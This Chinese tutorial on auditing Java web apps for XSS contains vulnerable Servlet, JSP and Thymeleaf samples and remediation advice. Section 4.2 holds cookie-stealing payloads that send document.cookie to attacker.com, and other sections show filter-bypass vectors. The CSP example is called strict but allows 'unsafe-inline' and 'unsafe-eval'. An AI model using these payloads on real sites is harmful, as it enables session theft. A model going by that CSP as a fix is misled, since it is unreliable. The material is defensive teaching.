1. 项目概述:从“弹窗”到“劫持”,理解XSS的破坏力

刚入行做Java代码审计那会儿,我最开始盯上的就是XSS漏洞。原因很简单,它太“直观”了——不需要复杂的二进制分析,也不涉及深奥的加密算法,一个简单的 <script>alert(1)</script> 弹窗,就能立刻告诉你这里有问题。但很快我就发现,这种“直观”极具欺骗性。很多新手,包括当时的我,容易把XSS简单地等同于一个烦人的弹窗,觉得它危害不大。直到有一次在审计一个企业级OA系统时,我发现了一处存储型XSS,攻击者可以构造恶意脚本,在用户查看内部公告时,悄无声息地将其登录Cookie发送到远程服务器。那一刻我才真正意识到,XSS远不是弹个窗那么简单,它是一个完整的客户端攻击链的起点,能导致会话劫持、钓鱼攻击、甚至结合其他漏洞实现内网渗透。

所以,这篇内容我想和你深入聊聊Java Web应用中的XSS漏洞。我们不止于原理,更要结合真实的代码案例,看看漏洞是怎么产生的,攻击者会如何利用,以及我们作为开发者或审计者,该如何从根源上发现并修复它。无论你是正在准备Java安全面试、学习代码审计,还是想加固自己的Web项目,理解XSS都是绕不开的必修课。它看似基础,却贯穿于几乎每一个动态Web应用,是检验安全意识的试金石。

2. XSS漏洞核心原理与分类拆解

要审计,先得懂原理。XSS,全称跨站脚本攻击,核心问题在于Web应用对用户输入的数据 信任过度 ,且没有进行正确的处理,就将其作为HTML或JavaScript代码的一部分输出到了页面中。浏览器无法区分这段代码是开发者写的还是攻击者注入的,会一律执行。

根据恶意脚本的“存储”和“触发”位置,XSS主要分为三类,理解它们的区别对定位漏洞至关重要。

2.1 反射型XSS:一次性的“钓鱼钩”

反射型XSS也叫非持久型XSS。攻击者构造一个含有恶意脚本的URL,诱骗用户点击。服务器接收到这个请求后,未加处理就将恶意脚本“反射”回用户的浏览器页面中执行。

攻击流程:

  1. 攻击者发现一个搜索功能,参数 keyword 直接回显在结果页: /search?keyword=用户输入
  2. 攻击者构造恶意URL: /search?keyword=<script>alert(document.cookie)</script>
  3. 攻击者通过邮件、社交软件等渠道,诱骗受害者点击这个链接。
  4. 受害者点击后,服务器返回的HTML中包含未转义的 keyword 值,浏览器执行 alert 脚本。

Java代码中的典型模样:

// 一个存在反射型XSS的Servlet示例
@WebServlet("/reflect")
public class ReflectedXSSServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) {
        String userInput = request.getParameter("input"); // 直接获取用户输入
        try {
            PrintWriter out = response.getWriter();
            out.println("<html><body>");
            out.println("您输入的内容是: " + userInput); // 危险!直接输出
            out.println("</body></html>");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

为什么危险? 虽然需要诱骗点击,但在钓鱼邮件、短链接伪装、论坛评论中夹带链接等场景下,成功率并不低。它常用于盗取当前用户的Cookie或发起针对特定用户的客户端攻击。

2.2 存储型XSS:潜伏的“定时炸弹”

存储型XSS是危害最大的一种。攻击者将恶意脚本提交到服务器(如写入数据库、文件系统),当其他用户浏览包含该数据的页面时,脚本会自动执行。

攻击流程:

  1. 攻击者在博客评论、用户昵称、商品评价等可持久化存储的字段中,提交恶意脚本(如 <script>...</script> )。
  2. 服务器未经验证和净化,将其存入数据库。
  3. 当任何普通用户访问展示评论/昵称的页面时,服务器从数据库取出该数据并输出到页面。
  4. 用户的浏览器加载页面,执行恶意脚本。

Java代码中的典型模样:

// 存在存储型XSS的留言板功能
@Service
public class CommentService {
    @Autowired
    private CommentRepository commentRepo;

    public void saveComment(String content, String author) {
        Comment comment = new Comment();
        comment.setContent(content); // 假设content来自用户输入,且未过滤
        comment.setAuthor(author);
        commentRepo.save(comment); // 直接存储到数据库
    }

    public String displayComment(Long commentId) {
        Comment comment = commentRepo.findById(commentId).orElse(null);
        if (comment != null) {
            // 从数据库取出后,直接拼接进HTML,造成输出点漏洞
            return "<div class='comment'><p>" + comment.getContent() + "</p></div>";
        }
        return "";
    }
}

为什么更危险? 它是一次注入,长期影响所有访问者。攻击者无需再与受害者交互,漏洞页面本身就成了攻击载体。常被用于挂马、蠕虫传播(如早年新浪微博的XSS蠕虫)、大规模盗取用户凭证。

2.3 DOM型XSS:纯前端的“逻辑陷阱”

DOM型XSS比较特殊,漏洞的根源在于前端JavaScript代码不安全地操作了DOM。恶意数据在客户端被解析和执行,不经过服务器端(或服务器端返回的是安全的数据)。

攻击流程:

  1. 页面中存在一段JavaScript,从 document.location.hash document.URL window.name 等位置获取数据。
  2. 获取数据后,使用 innerHTML document.write() eval() 等危险方法将其写入页面。
  3. 攻击者构造一个URL,在片段标识(hash)或参数中嵌入恶意脚本: http://victim.com/page.html#<img src=1 onerror=alert(1)>
  4. 用户访问该URL,前端JS从location.hash中取出内容,并通过 innerHTML 插入,触发XSS。

Java后端视角: 对于DOM型XSS,Java后端可能返回的是完全正常、转义过的数据。问题出在前端JS的处理逻辑上。例如,一个常见的错误是后端返回了JSON数据,前端为了“灵活”而使用了不安全的渲染方式。

// 后端API,数据本身可能是安全的
@GetMapping("/userInfo")
@ResponseBody
public UserInfo getUserInfo(@RequestParam String userId) {
    UserInfo info = userService.getInfo(userId);
    // 假设后端对info中的字段都做了HTML转义
    return info; // 返回JSON: {"name": "&lt;script&gt;alert(1)&lt;/script&gt;"}
}
<!-- 前端页面 -->
<script>
fetch('/userInfo?userId=123')
    .then(res => res.json())
    .then(data => {
        // 危险操作:使用innerHTML直接插入未转义的数据
        document.getElementById('name').innerHTML = data.name;
        // 如果data.name是`<img src=1 onerror=alert(1)>`,这里就会触发XSS
        // 尽管后端返回的是转义后的实体,但前端可能错误地“解码”或直接使用了另一处未转义的源
    });
</script>

审计难点: DOM型XSS要求审计者同时审查服务器端Java代码和前端JavaScript代码,关注数据在客户端的“流向”和“处理方式”。

核心理解要点 :无论哪种类型,XSS发生的两个必要条件缺一不可: 1. 攻击者可控的输入点(Source) 2. 该输入被作为代码执行的点(Sink) 。代码审计就是寻找从Source到Sink的完整数据流。

3. Java Web中XSS漏洞的常见代码模式与审计切入点

知道了原理,我们就要在代码里找“坏味道”。在Java Web应用中,以下几个地方是XSS漏洞的高发区,审计时需要重点关照。

3.1 JSP/Thymeleaf等模板中的直接输出

这是最经典的漏洞模式。在JSP中,使用 <%= %> 表达式直接输出未处理的数据是极度危险的。

<%-- 存在XSS的JSP代码 --%>
<p>欢迎您,<%= request.getParameter("username") %>!</p>
<p>您的搜索关键词是:<%= request.getAttribute("keyword") %></p>

审计技巧 :全局搜索JSP、FTL、HTML文件中的 <%= ${ (某些旧版本或错误配置下)、 th:text 以外的Thymeleaf属性(如 th:utext th:inline 不当使用)。确保所有动态内容输出都使用了正确的转义或表达式。

3.2 使用不安全的Java API拼接HTML/JSON

在Servlet、Controller或Service层,如果直接使用字符串拼接来生成HTTP响应,风险极高。

// 危险示例1:拼接HTML
response.getWriter().println("<script>var userData = '" + userInput + "';</script>");
// 如果userInput是`';alert(1);//`,就会闭合字符串,注入代码。

// 危险示例2:手动拼接JSON(极易出错)
String json = "{\"name\": \"" + userName + "\", \"age\": " + userAge + "}";
// 如果userName是`\"}, \"malicious\":\"data`,就会破坏JSON结构,可能结合其他漏洞造成XSS。

审计技巧 :搜索代码中的 response.getWriter() PrintWriter.write/println 、字符串拼接( + )操作HTML/JSON/XML的地方。应使用模板引擎或专门的库(如Jackson for JSON)来结构化生成内容。

3.3 富文本编辑器处理不当

用户需要提交HTML格式内容(如博客文章、商品详情)时,简单的黑白名单过滤往往不够。

// 一个过于简单的“过滤”函数(极易被绕过)
public String naiveFilter(String html) {
    return html.replaceAll("<script>", "")
               .replaceAll("</script>", "")
               .replaceAll("onerror=", "");
}
// 攻击者可以使用大小写混淆、嵌套标签、Unicode编码、SVG事件等多种方式绕过。

审计技巧 :检查项目中如何处理富文本输入。是否使用了成熟的库(如Jsoup、OWASP Java HTML Sanitizer)?白名单策略是否严格?是否允许 javascript: 协议、 on* 事件处理器、 style 属性中的表达式?

3.4 与前端框架交互的接口设计缺陷

在现代前后端分离架构中,后端提供JSON API,如果接口设计或文档不当,可能导致前端错误处理数据。

@RestController
public class UserController {
    @GetMapping("/api/user")
    public User getUser() {
        User user = new User();
        user.setName("<img src=x onerror=alert(1)>");
        // 假设这里没有转义,期望前端处理
        user.setBio("这是一段<b>加粗</b>的个人简介。"); // 这里包含HTML标签
        return user; // 直接序列化为JSON
    }
}

如果前端开发者误以为所有字段都是纯文本,而使用了 innerHTML 来显示 name bio ,就会触发XSS。更隐蔽的是,如果 bio 字段允许部分HTML(如加粗),但后端没有进行安全的净化,攻击者可能在其中夹带恶意脚本。

审计技巧 :审查 @RestController @ResponseBody 注解的接口。关注API返回的数据结构,明确哪些字段是纯文本(Text),哪些是安全HTML(SafeHtml)。在项目文档或代码注释中,是否有清晰的约定?后端是否对可能包含HTML的字段进行了安全的净化处理?

3.5 URL参数、请求头与重定向漏洞

除了主要的输入点,一些边缘场景也需注意。

// 不安全的跳转
String redirectUrl = request.getParameter("url");
response.sendRedirect(redirectUrl); // 如果url是`javascript:alert(1)`,则构成XSS

// 将用户输入设置到Cookie或响应头,可能被浏览器不安全地解析
String customHeader = request.getParameter("headerValue");
response.setHeader("X-Custom-Header", customHeader);

审计技巧 :搜索 sendRedirect setHeader addCookie 等方法,检查其参数是否来自未经验证的用户输入。对于重定向,应校验URL的协议和域名。

4. 实战案例剖析:审计一个存在存储型XSS的Spring Boot应用

让我们通过一个简化的Spring Boot博客系统案例,模拟一次完整的XSS漏洞审计过程。假设我们拿到了部分源码。

4.1 漏洞代码定位

首先,我们关注用户内容提交和展示的功能点,比如文章评论。

1. 实体类 (Comment.java):

@Entity
public class Comment {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;
    private String author; // 评论者
    private String content; // 评论内容
    private String email;   // 邮箱
    // getters and setters
}

这里看不出问题,只是数据模型。

2. 控制器 (CommentController.java):

@Controller
public class CommentController {
    @Autowired
    private CommentService commentService;

    // 提交评论
    @PostMapping("/postComment")
    public String postComment(@RequestParam String author,
                              @RequestParam String content,
                              @RequestParam String email) {
        // 注意:这里没有对输入做任何过滤或校验!
        commentService.saveComment(author, content, email);
        return "redirect:/article/" + articleId; // 假设articleId来自上下文
    }

    // 展示文章页(包含评论)
    @GetMapping("/article/{id}")
    public String getArticle(@PathVariable Long id, Model model) {
        Article article = articleService.getById(id);
        List<Comment> comments = commentService.getCommentsByArticleId(id);
        model.addAttribute("article", article);
        model.addAttribute("comments", comments); // 将评论列表直接放入模型
        return "article";
    }
}

审计发现 :在 postComment 方法中, author content email 三个参数直接传入服务层,没有任何清洗、验证或转义操作。这是典型的 污染源(Source)

3. 视图模板 (article.html - Thymeleaf):

<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<body>
<!-- 文章内容 -->
<div th:utext="${article.content}"></div> <!-- 注意:这里使用utext,因为文章内容可能需要HTML格式 -->

<!-- 评论列表 -->
<div th:each="comment : ${comments}">
    <div class="comment">
        <strong th:text="${comment.author}">Author</strong> <!-- 作者名使用th:text,安全 -->
        <p th:utext="${comment.content}">Comment content</p> <!-- 问题在这里!评论内容也用了utext -->
        <small th:text="${comment.email}">Email</small>
    </div>
</div>
</body>
</html>

审计发现 :这是关键的 输出点(Sink) 。文章内容使用 th:utext 可以理解(富文本),但评论内容 comment.content 也使用了 th:utext 。这意味着存储在数据库中的评论内容,会被Thymeleaf作为 未转义的HTML 直接输出到页面。如果 content 字段中包含 <script>alert('xss')</script> ,它将被执行。

4.2 攻击模拟与利用

攻击者只需在发表评论时,在内容框中输入:

<script>var img = new Image(); img.src = 'http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);</script>

或者更隐蔽的,利用图片标签的onerror事件:

<img src="invalid.jpg" onerror="fetch('http://attacker.com/steal', {method:'POST', body: document.cookie})" style="display:none;">

当其他用户(包括管理员)浏览这篇文章时,恶意脚本就会在其浏览器中执行,将用户的会话Cookie发送到攻击者控制的服务器 attacker.com

4.3 漏洞修复方案

修复需要从“输入处理”和“输出转义”两个层面入手,推荐 输出编码为主,输入验证为辅 的策略。

方案一:在输出层修复(推荐,治本) 修改Thymeleaf模板,对不信任的动态内容使用 th:text 而非 th:utext

<!-- 修复后的article.html -->
<p th:text="${comment.content}">Comment content</p> <!-- 改为th:text,Thymeleaf会自动进行HTML实体转义 -->

th:text 会将 < > & " ' 等字符转换为对应的HTML实体(如 &lt; &gt; ),从而破坏脚本的语法结构,使其以纯文本形式显示。这是最根本、最安全的修复方式。

方案二:在输入/存储层修复(针对富文本等特殊情况) 如果评论内容确实需要支持部分HTML格式(如加粗、斜体),则必须在存储前进行严格的 净化(Sanitization) ,而不是简单的转义。

  1. 引入净化库 :在 pom.xml 中添加OWASP Java HTML Sanitizer依赖。
    <dependency>
        <groupId>com.googlecode.owasp-java-html-sanitizer</groupId>
        <artifactId>owasp-java-html-sanitizer</artifactId>
        <version>20220608.1</version>
    </dependency>
    
  2. 在Service层进行净化
    @Service
    public class CommentService {
        private static final PolicyFactory HTML_POLICY = new HtmlPolicyBuilder()
                .allowElements("b", "i", "u", "p", "br", "div") // 允许的标签白名单
                .allowAttributes("class").onElements("div", "p")
                .toFactory();
    
        public void saveComment(String author, String rawContent, String email) {
            Comment comment = new Comment();
            comment.setAuthor(author);
            // 对内容进行净化,只保留白名单内的标签和属性
            String safeContent = HTML_POLICY.sanitize(rawContent);
            comment.setContent(safeContent);
            comment.setEmail(email);
            commentRepo.save(comment);
        }
    }
    
  3. 模板中仍可使用 th:utext :因为输出内容已经是安全的HTML。
    <p th:utext="${comment.content}">Comment content</p>
    

方案三:全局防御 - 使用Content Security Policy (CSP) CSP是一个额外的安全层,通过HTTP头告诉浏览器只允许加载和执行来自特定来源的脚本、样式等资源。即使存在XSS漏洞,也能极大限制其危害。 在Spring Boot中,可以配置一个Filter来添加CSP头:

@Component
public class CspFilter implements Filter {
    @Override
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
        HttpServletResponse response = (HttpServletResponse) res;
        // 一个严格的策略:只允许执行同源的内联脚本(需配合nonce或hash),禁止eval
        response.setHeader("Content-Security-Policy",
                "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';");
        chain.doFilter(req, res);
    }
}

实操心得 :修复XSS时,优先选择 输出编码 。因为数据可能在多个地方输出(网页、移动端API、导出文件),在输出点控制能确保一劳永逸。输入验证和净化主要用于保证数据合规性(如长度、格式)和处理富文本等特殊情况。CSP是重要的深度防御措施,但不应作为修复漏洞的唯一手段。

5. 进阶审计技巧与深度防御策略

掌握了基础模式后,我们可以看一些更隐蔽的场景和提升审计效率的方法。

5.1 追踪数据流:从Source到Sink

真正的审计不是靠猜,而是追踪数据在应用中的完整流动路径。你需要建立“数据流”思维。

  1. 识别Source(源) :所有来自外部不可信数据的地方。
    • HttpServletRequest : getParameter() , getHeader() , getCookie() , getInputStream()
    • HttpSession : getAttribute() (如果会话数据可能来自用户输入)
    • 数据库(如果数据可能由其他不安全的应用写入)、文件、网络接口等。
  2. 识别Sink(汇) :数据被以可能执行代码的方式使用的地方。
    • HTML上下文 :JSP EL表达式、Thymeleaf/Velocity/Freemarker输出指令、 response.getWriter().print()
    • JavaScript上下文 <script> 标签内、事件处理器( onclick 等)、 eval() setTimeout() new Function()
    • 属性上下文 :HTML标签的属性值,特别是 href src style
    • URL上下文 response.sendRedirect() <a href>
  3. 手动或借助工具分析 :对于关键业务功能,可以手动模拟数据流。也可以使用静态应用安全测试(SAST)工具,如Find Security Bugs、SonarQube、Fortify等,它们能自动化地识别部分数据流问题。但工具会有误报和漏报,需要人工复核。

5.2 关注框架特性与配置陷阱

现代框架提供了安全机制,但错误配置会使其失效。

  • Spring MVC的 @ResponseBody 与消息转换器 :默认情况下,使用Jackson序列化对象到JSON时,会进行适当的转义。但如果你手动拼接JSON字符串返回,或者配置了自定义的 HttpMessageConverter ,就可能引入风险。
  • Thymeleaf的 th:inline="javascript" :这个特性允许在JS块中嵌入服务器端变量。如果使用不当,极易造成XSS。
    <script th:inline="javascript">
        var username = [[${user.name}]]; // 危险!如果user.name包含引号或换行符,会破坏JS语法。
        var safeUsername = [# th:utext="${#strings.escapeJavaScript(user.name)}" /]; // 正确,使用工具函数转义
    </script>
    
  • 默认转义与关闭转义 :了解你使用的模板引擎的默认行为。例如,Thymeleaf的 th:text 默认转义, th:utext 不转义。Freemarker的 ${...} 默认也会转义(除非在配置中全局禁用)。审计时要检查是否有地方为了“方便”而关闭了默认转义。

5.3 构建深度防御体系

单一防御措施可能被绕过,需要多层防护。

  1. 输入验证与规范化 :在数据进入业务逻辑前,进行严格的类型、长度、格式校验(如邮箱格式)。使用正则表达式白名单限制允许的字符集。对输入进行规范化(如URL解码),防止多重编码绕过。
  2. 输出编码 :根据输出上下文选择正确的编码函数。
    • HTML正文 :转义 < > & " ' &lt; &gt; &amp; &quot; &#x27;
    • HTML属性 :同上,尤其注意属性值要用引号包裹。
    • JavaScript :转义为 \uXXXX 形式,或使用JSON.stringify。
    • URL :进行URL编码( encodeURIComponent )。 Java中可以使用 org.springframework.web.util.HtmlUtils.htmlEscape 或Apache Commons Text的 StringEscapeUtils
  3. 安全的DOM操作 :如果必须动态操作DOM,使用 textContent setAttribute 而非 innerHTML 。如果一定要用 innerHTML ,必须先对内容进行净化。
  4. 使用安全的API和框架 :优先使用模板引擎的自动转义功能。使用 document.createElement appendChild 代替字符串拼接构建DOM。使用 JSON.parse 解析JSON,而非 eval
  5. 部署Content Security Policy (CSP) :如前所述,CSP能有效遏制XSS的利用效果,即使漏洞存在。
  6. 设置HttpOnly和Secure的Cookie标志 :对于会话Cookie,设置 HttpOnly 可以阻止JavaScript通过 document.cookie 访问,设置 Secure 确保仅在HTTPS连接下传输。这能增加攻击者窃取Cookie的难度。
    Cookie sessionCookie = new Cookie("JSESSIONID", sessionId);
    sessionCookie.setHttpOnly(true);
    sessionCookie.setSecure(true); // 仅在HTTPS环境下
    response.addCookie(sessionCookie);
    

6. 常见问题排查与工具使用心得

在实际审计和开发中,你会遇到各种具体问题。这里记录一些常见的坑和解决思路。

6.1 为什么转义了还是被攻击?

场景 :你确认在输出时使用了HTML转义,但攻击载荷仍然生效了。 可能原因与排查

  1. 输出上下文错误 :数据被插入到了 <script> 标签内部或事件处理器中,却只做了HTML转义。例如:
    <script>var name = '[[${user.name}]]';</script> <!-- 这里需要JS字符串转义,而非HTML转义 -->
    
    解决 :分析数据最终被插入的HTML位置,选择对应的编码方式。
  2. 双重编码/解码问题 :数据在存储或传输过程中被编码了多次(如先URL编码,再HTML编码),而输出时只解码或转义了一次,导致特殊字符被还原。 解决 :理清数据流,确保在最终的输出点进行一次正确的、与上下文匹配的编码。
  3. 绕过黑名单过滤 :如果采用的是黑名单过滤(如替换 <script> ),攻击者可以使用大量变种绕过,如 <ScRiPt> <img src=1 onerror=alert(1)> <svg onload=alert(1)> 等。 解决 永远不要使用黑名单! 采用白名单过滤(针对富文本)或严格的输出编码。

6.2 审计工具辅助与人工确认

工欲善其事,必先利其器。但工具不是万能的。

  • SAST工具(如Find Security Bugs) :非常好用,能快速扫描整个项目,标记出潜在的漏洞模式(如 findbugs: XSS_REQUEST_PARAMETER_TO_JSP_WRITER )。 但它会产生误报 (将安全的代码报为漏洞)和 漏报 (找不到复杂的漏洞)。审计结果必须经过人工复核,理解工具报出的原因,确认数据是否真的从不可信源流向了危险的接收点。
  • DAST工具(如OWASP ZAP、Burp Suite) :通过代理拦截请求,自动修改参数尝试注入XSS载荷,并观察响应。适合在测试环境进行黑盒扫描。它能发现实际可触发的漏洞,但覆盖范围受测试用例影响。
  • 人工代码审查 :这是不可替代的。重点审查:
    1. 所有用户输入入口(Controller参数、文件上传、API接口)。
    2. 所有向HTTP响应写入数据的地方(JSP、模板、 response.getWriter() )。
    3. 所有字符串拼接操作,特别是拼接SQL、HTML、JS、JSON的地方。
    4. 框架的特殊配置和用法。

6.3 处理富文本内容的“度”

这是XSS防御中最棘手的问题之一。用户需要提交带格式的文本。

  • 策略选择
    • Markdown :对于大多数场景,推荐使用Markdown。它语法简单,最终由服务器端转换为HTML,转换过程是可控的,可以彻底剥离危险标签和属性。
    • 富文本编辑器+严格白名单 :如果必须用HTML,必须使用像OWASP Java HTML Sanitizer这样的库,并配置极其严格的白名单。只允许最基本的排版标签(p, b, i, u, br, ul, li, a等),对于 a 标签,只允许 href 属性,并且要校验 href 的协议(只允许 http:// , https:// , mailto: )。
  • 注意 style 属性和 javascript: 协议 :即使标签在白名单内,其属性也可能造成XSS。必须过滤或严格校验 style 属性值(防止CSS注入),以及 href src 属性中的 javascript: 协议。

6.4 针对DOM型XSS的专项审计

DOM型XSS的源和汇都在浏览器端,审计Java代码时往往看不到直接漏洞。你需要:

  1. 定位前端JS文件 :找到与后端API交互的JavaScript代码。
  2. 搜索危险的Sink函数 :在JS代码中全局搜索 innerHTML outerHTML document.write() eval() setTimeout() / setInterval() (第一个参数为字符串时)、 location.href / location.assign() (如果URL部分可控)、 <iframe src> (src可控)等。
  3. 回溯数据来源 :检查这些危险Sink函数的数据来源。是否来自 location.search location.hash document.referrer window.name postMessage ,或者来自Ajax请求的响应数据?
  4. 检查数据处理 :数据在到达Sink前,是否经过了安全的编码或验证?如果没有,这里就存在DOM型XSS的风险。

我在多次审计中发现,DOM型XSS常常发生在为了“用户体验”而编写的动态交互脚本中,开发者在追求功能时容易忽略安全。一个有效的习惯是,在代码审查中,将前端JavaScript的安全性与后端Java代码同等对待。

XSS漏洞的防御是一个持续的过程,需要开发、测试、运维各个环节共同关注。作为代码审计者,你的价值在于用攻击者的思维去审视代码,在漏洞被利用之前就发现它。从理解原理开始,熟悉常见漏洞模式,掌握数据流分析方法,再结合工具和实战经验,你就能逐渐建立起对Java Web应用安全性的深刻洞察。记住,没有绝对的安全,但通过层层设防,我们可以让攻击者的成本变得极高,从而有效地保护我们的应用和用户。

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐